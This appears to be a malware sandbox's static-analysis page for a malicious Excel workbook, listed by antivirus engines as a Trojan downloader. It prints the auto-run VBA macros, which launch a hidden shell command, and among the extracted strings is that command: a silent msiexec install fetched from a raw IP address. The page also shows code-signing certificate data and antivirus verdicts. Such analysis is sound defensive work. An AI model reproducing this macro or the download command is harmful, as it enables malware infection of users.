Static | ZeroBOX

Original


                                        Attribute VB_Name = "ÝòàÊíèãà"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
CallByName App1, "Show", VbMethod

End Sub

                                    

Deobfuscated


                                        Attribute VB_Name = "ÝòàÊíèãà"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
CallByName App1, "Show", VbMethod

End Sub

                                    

Original


                                        Attribute VB_Name = "Ëèñò1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Ëèñò1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Ëèñò2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Ëèñò2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Ëèñò3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Ëèñò3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "App1"
Attribute VB_Base = "0{1DB15D03-9732-4851-A0E9-D50B11446EE1}{0C5F986B-8227-430B-885F-D0F4D2EC2D28}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
On Error Resume Next
Dim time
time = Format(Now + TimeSerial(0, 0, 24), "hh:mm")


Shell Replace(App2.T3.Text, "77:77", time)
Unload Me
End Sub



                                    

Deobfuscated


                                        Attribute VB_Name = "App1"
Attribute VB_Base = "0{1DB15D03-9732-4851-A0E9-D50B11446EE1}{0C5F986B-8227-430B-885F-D0F4D2EC2D28}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
On Error Resume Next
Dim time
time = Format(Now + TimeSerial(0, 0, 24), "hh:mm")


Shell Replace(App2.T3.Text, "77:77", time)
Unload Me
End Sub



                                    

Original


                                        Attribute VB_Name = "App2"
Attribute VB_Base = "0{E4252B07-CFE1-4C7A-A17B-50C76B8E1F85}{D07779AE-3818-417D-9E8A-3A57A3307592}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

                                    

Deobfuscated


                                        Attribute VB_Name = "App2"
Attribute VB_Base = "0{E4252B07-CFE1-4C7A-A17B-50C76B8E1F85}{D07779AE-3818-417D-9E8A-3A57A3307592}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

                                    
alex B
_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-
_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
lytytZ=
mytytYv
H^zqJ
.mwLY&g
YnU,&M
?lhm/f
#=:q^J
_]M"+M>
\DyYz
kg?=>I$V
_Eym#)
%_8($)h
1dQ_'
Px%$Dl
=)l-&E
TRmw?~
_^j?l[
@r!1KE
>>Bt=|
k;Ekq|
ko|ZKT
u|=,s_
@IVF%F
u#?g)];=V
xuZ=!/$
}i#\`zt
`7;rybO
AJrOA
#+RQE!
vD!4y5-
4=J?;N
uAqi{g:
ObTHbE
XYCm#FIVdERF@8
Imywus
6>Q#)p
PN-'g{
HemSL
}!lQv!
M;e(\P
1y5%&9
|Wf/m!
~=7.}k
AV#tLY7
onB(TI
%v@6.]
3s^wSV
_eQ@>
pb~3Xl
r)2}E&
E!<Sri
pb~3Xl
Fi7Ppi
EMcTbLh
%r=3Ik
$o(e8#
+qg}ap
Vz+x_Y
}]G"[I
o<j~gc
<rd1I.
S<nBF{
`XQF1E
I}}}2[
,;<w3F
2Oj2ij
J(t}(
QEfPQE
0YM,Rlp
KY7\#o
6w@m_0
QJNzRb
]t(sk#9
0.<0-P
)skum*
Du%YYH
Eyg@QE
5wE',:
o*IaGD%P/
v?4l?bo
yU$F*~^
pzm$rs_
nln?lQ@
cyeO?>o
Mq~_&
_VQ@Y
7vG_B-WR]:
(|GIKH:R
30Vl++
y*J0$d
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
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
9H+)nc'!RRr9
=;>xz|
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\SysW OW64\
tlb#OLE
Automati
EOffDic
2DF8D04C
-5BFA-10
1B-BDE5
gram Fil
es (x86)
\Common
\Microso
ft Share
d\OFFICE
11\MSO.D
P 11 .0 Ob
ibrary
MSFo@rms>
452EE1-E
-02608C4 D0BB4
TFMl20L'B
r00}#0
DB4-A9DD
-382DBD6
rs\1\App
Data\Loc
al\Temp\
Attribut
e VB_Nam
e = "App
l0{1DB15
D03-9732
-4851-A0
E9-D50B1
1446EE1}
{0C5F986
B-8227-4
0F4D2EC2
oFalse
reatabl
Predecla
Expose
Template Deriv
Cu@stomiz
Sub U
serForm_ Activ
On Err
or Resu
at(Now (+ T
, "hh:mm
2.T3.T
77:77",
Unload
Attribut
e VB_Nam
e = "App
l0{E4252
B07-CFE1
-4C7A-A1
7B-50C76
B8E1F85}
{D07779A
E-3818-4
17D-9E8A
-3A57A33@07592}
G lobal
oFalse
Creatab
Predec$la
BExpose
0Templa
teDeriv
Customiz
Attribut
e VB_Nam
p0{0002`0820-
$0046}
|Global
ateDeriv
Bustomi
Attribut
e VB_Nam
p0{0002`0820-
$0046}
|Global
ateDeriv
Bustomi
Attribut
e VB_Nam
p0{0002`0820-
$0046}
|Global
ateDeriv
Bustomi
VBAProject
C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL
C:\Program Files (x86)\Microsoft Office\OFFICE11\EXCEL.EXE
C:\Windows\SysWOW64\stdole2.tlb
stdole
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE11\MSO.DLL
Office
C:\Windows\SysWOW64\FM20.DLL
MSForms
C:\Users\1\AppData\Local\Temp\VBE\MSForms.exd
Workbook
WorkBook_open
Attribut
e VB_Nam
0020819-u
reatabl
Predecla
B@Expose
emplateD0eriv
Bus`tomiz
ub WorkB
ook_open
"Show",
VbMetho
VBAProject
stdole
Office
MSFormsC
_Evaluate
WorkBook_open
CallByName
VbMethod
UserForm_ActivateZs0
TimeSerial
ShellV
Replacef
Workbook
UserFormN
Microsoft Forms 2.0 Form
edded Object
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} App1
Caption = "UserForm1"
ClientHeight = 3180
ClientLeft = 45
ClientTop = 375
ClientWidth = 4710
StartUpPosition = 1 'CenterOwner
msiexec /q step1=commonl step2=files /i http://179.43.147.77/pm2
Tahoma`
Microsoft Forms 2.0 Form
Embedded Object
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} App2
Caption = "UserForm1"
ClientHeight = 3180
ClientLeft = 45
ClientTop = 375
ClientWidth = 10170
StartUpPosition = 1 'CenterOwner
TypeInfoVer = 1
ID="{C447C4A4-4D21-4378-944D-7838B21A1DFA}"
Document=
/&H00000000
Document=
1/&H00000000
Document=
2/&H00000000
Document=
3/&H00000000
Package={AC9F2F90-E877-11CE-9F68-00AA00574A4F}
BaseClass=App1
BaseClass=App2
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="9B9957548C588C588C588C58"
DPB="CCCE00AB00DD01DD01DD"
GC="FDFF31FA532A542A54D5"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
=25, 25, 1288, 360,
1=0, 0, 0, 0, C
2=0, 0, 0, 0, C
3=0, 0, 0, 0, C
App1=100, 100, 1363, 435, , 50, 50, 1313, 385,
App2=0, 0, 0, 0, C, 75, 75, 1338, 410, Z
Microsoft Office
Microsoft Excel
Microsoft Corporation
Microsoft Corporation
thawte, Inc.1(0&
Certification Services Division1806
/(c) 2006 thawte, Inc. - For authorized use only10
thawte Primary Root CA0
061117000000Z
360716235959Z0
thawte, Inc.1(0&
Certification Services Division1806
/(c) 2006 thawte, Inc. - For authorized use only10
thawte Primary Root CA0
l[HhIY7
thawte, Inc.1(0&
Certification Services Division1806
/(c) 2006 thawte, Inc. - For authorized use only10
thawte Primary Root CA0
131210000000Z
231209235959Z0L1
thawte, Inc.1&0$
thawte SHA256 Code Signing CA0
http://t2.symcb.com0
!http://t1.symcb.com/ThawtePCA.crl0
SymantecPKI-1-5680
UwM^6)
J1}#m
thawte, Inc.1&0$
thawte SHA256 Code Signing CA0
190613000000Z
200612235959Z0m1
Essex1
HOCKLEY1
FIT AND FLEX LIMITED1
FIT AND FLEX LIMITED0
http://tl.symcb.com/tl.crl0
https://www.thawte.com/cps0/
!https://www.thawte.com/repository0W
http://tl.symcd.com0&
http://tl.symcb.com/tl.crt0
thawte, Inc.1&0$
thawte SHA256 Code Signing CA
J1}#m
J1}#m
thawte, Inc.1&0$
thawte SHA256 Code Signing CA0
190613000000Z
200612235959Z0m1
Essex1
HOCKLEY1
FIT AND FLEX LIMITED1
FIT AND FLEX LIMITED0
http://tl.symcb.com/tl.crl0
https://www.thawte.com/cps0/
!https://www.thawte.com/repository0W
http://tl.symcd.com0&
http://tl.symcb.com/tl.crt0
Root Entry
Workbook
_VBA_PROJECT_CUR
Arial Cyr1"
Arial Cyr1"
Arial Cyr1"
Arial Cyr1"
Arial Cyr1*
Calibri Light1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1"
Arial Cyr1
Calibri1
Calibri1
Calibri1
Calibri
#,##0\ "
";\-#,##0\ "
#,##0\ "
";[Red]\-#,##0\ "
#,##0.00\ "
";\-#,##0.00\ "
#,##0.00\ "
";[Red]\-#,##0.00\ "
_-* #,##0\ "
"_-;\-* #,##0\ "
"_-;_-* "-"\ "
"_-;_-@_-
_-* #,##0.00\ "
"_-;\-* #,##0.00\ "
"_-;_-* "-"??\ "
"_-;_-@_-
#,##0"
.";\-#,##0"
#,##0"
.";[Red]\-#,##0"
#,##0.00"
.";\-#,##0.00"
#,##0.00"
.";[Red]\-#,##0.00"
_-* #,##0"
."_-;\-* #,##0"
."_-;_-* "-""
."_-;_-@_-
_-* #,##0_
_._-;\-* #,##0_
_._-;_-* "-"_
_._-;_-@_-
_-* #,##0.00"
."_-;\-* #,##0.00"
."_-;_-* "-"??"
."_-;_-@_-
_-* #,##0.00_
_._-;\-* #,##0.00_
_._-;_-* "-"??_
_._-;_-@_-
TableStyleMedium2PivotStyleLight16
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
FFFFFFFFFF
0{1DB15D03-9732-4851-A0E9-D50B11446EE1}{0C5F986B-8227-430B-885F-D0F4D2EC2D28}
0{E4252B07-CFE1-4C7A-A17B-50C76B8E1F85}{D07779AE-3818-417D-9E8A-3A57A3307592}
N0{00020820-0000-0000-C000-000000000046}
__SRP_0
__SRP_1
N0{00020820-0000-0000-C000-000000000046}
N0{00020820-0000-0000-C000-000000000046}
__SRP_2
__SRP_3
_VBA_PROJECT
N0{00020819-0000-0000-C000-000000000046}
$*\Rffff*0h5eee742a
*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files (x86)\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library
*\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\Windows\SysWOW64\FM20.DLL#Microsoft Forms 2.0 Object Library
*\G{506DA7BB-C4D8-4DB4-A9DD-382DBD6D9756}#2.0#0#C:\Users\1\AppData\Local\Temp\VBE\MSForms.exd#Microsoft Forms 2.0 Object Library
0h5eee742a
0[5eee7420
0]5eee7420
0^5eee7420
0_5eee7420
0`5eee7420
CompObj
VBFrame
CompObj
VBFrame
PROJECT
PROJECTwm
SummaryInformation
DocumentSummaryInformation
8EB35376744F392396307460D546222D_
ID thawte, Inc.
FIT AND FLEX LIMITED
Microsoft Enhanced Cryptographic Provider v1.0
ID thawte, Inc.
FIT AND FLEX LIMITED
Antivirus Signature
Bkav Clean
MicroWorld-eScan VB:Trojan.Downloader.JURI
FireEye VB:Trojan.Downloader.JURI
CAT-QuickHeal X97M.Downloader.36914
ALYac Trojan.Downloader.X97M.Gen
Malwarebytes Clean
VIPRE Clean
AegisLab Trojan.MSOffice.Alien.4!c
Sangfor Trojan.Generic-VBS.Save.83dd94a5
K7AntiVirus Clean
K7GW Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren X97M/Agent
Symantec Trojan.Mdropper
ESET-NOD32 VBA/TrojanDownloader.Agent.OJG
Baidu Clean
TrendMicro-HouseCall Trojan.X97M.FLAWEDAMMYY.D
Avast SNH:Script [Dropper]
ClamAV Doc.Dropper.Agent-6997344-0
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender VB:Trojan.Downloader.JURI
NANO-Antivirus Trojan.Script.Agent.fsjxln
ViRobot XLS.S.Agent.186880
Rising Downloader.Msiexec/VBA!1.B93D (CLASSIC)
Ad-Aware VB:Trojan.Downloader.JURI
Emsisoft VB:Trojan.Downloader.JURI (B)
Comodo Clean
F-Secure Clean
DrWeb Exploit.Siggen.23566
Zillya Clean
TrendMicro Trojan.X97M.FLAWEDAMMYY.D
McAfee-GW-Edition BehavesLike.OLE2.Downloader.cb
CMC Clean
Sophos Troj/DocDl-UKO
SentinelOne Static AI - Suspicious OLE
Jiangmin Clean
Avira X97M/Agent.4765030
MAX malware (ai score=100)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft TrojanDownloader:O97M/Donoff
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
GData VB:Trojan.Downloader.JURI
Cynet Malicious (score: 85)
AhnLab-V3 MSOffice/Xprocess
Acronis Clean
McAfee RDN/Generic Downloader.x
TACHYON Suspicious/X97M.Obfus.Gen.6
VBA32 Clean
Zoner Clean
Tencent OLE.Win32.Macro.704436
Yandex Clean
Ikarus Trojan-Downloader.VBA.Agent
MaxSecure Clean
Fortinet VBA/Agent.UII!tr
AVG SNH:Script [Dropper]
Panda Clean
Qihoo-360 Office/TrojanDownloader.Generic.HtoASOUA
No IRMA results available.